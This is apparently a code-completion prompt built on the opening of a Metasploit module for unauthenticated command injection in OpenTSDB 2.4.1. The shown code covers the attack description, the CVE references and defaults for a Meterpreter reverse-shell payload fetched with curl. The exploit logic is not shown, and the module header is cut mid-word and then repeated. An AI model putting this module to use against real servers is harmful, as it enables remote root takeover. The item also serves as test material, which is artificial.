You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: opentsdb_key_cmd_injection.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenTSDB 2.4.1 unauthenticated command injection',
        'Description' => %q{
          This module exploits an unauthenticated command injection
          vulnerability in the key parameter in OpenTSDB through
          2.4.1 (CVE-2023-36812/CVE-2023-25826) in order to achieve
          unauthenticated remote code execution as the root user.

          The module first attempts to obtain the OpenTSDB version via
          the api. If the version is 2.4.1 or lower, the module
          performs additional checks to obtain the configur
    
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenTSDB 2.4.1 unauthenticated command injection',
        'Description' => %q{
          This module exploits an unauthenticated command injection
          vulnerability in the key parameter in OpenTSDB through
          2.4.1 (CVE-2023-36812/CVE-2023-25826) in order to achieve
          unauthenticated remote code execution as the root user.

          The module first attempts to obtain the OpenTSDB version via
          the api. If the version is 2.4.1 or lower, the module
          performs additional checks to obtain the configured metrics
          and aggregators. It then randomly selects one metric and one
          aggregator and uses those to instruct the target server to
          plot a graph. As part of this request, the key parameter is
          set to the payload, which will then be executed by the target
          if the latter is vulnerable.

          This module has been successfully tested against OpenTSDB
          version 2.4.1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Gal Goldstein', # discovery
          'Daniel Abeles', # discovery
          'Erik Wynter' # @wyntererik - Metasploit
        ],
        'References' => [
          ['URL', 'https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw'], # security advisory
          ['CVE', '2023-36812'], # CVE linked in the official security advisory
          ['CVE', '2023-25826'] # CVE that seems to be a dupe of CVE-2023-36812 since it describes the same issue and references the PR that introduces the commits that are referenced in CVE-2023-36812
        ],
        'Platform' => 'linux',
        'Arch' => 'ARCH_CMD',
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
          'RPORT' => 4242,
          'SRVPORT' => 8080,
          'FETCH_COMMAND' => 'CURL',
          'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4),
          'FETCH_WRITABLE_DIR' => '/tmp',
          'FETCH_SRVPORT' => 8081
        },
        'Targets' => [ [ 'Linux', {} ] ],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'DisclosureDate' => '2023-07-01',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('TARGETURI', [true, 'The base path to OpenTSDB', '/']),
    ]
  end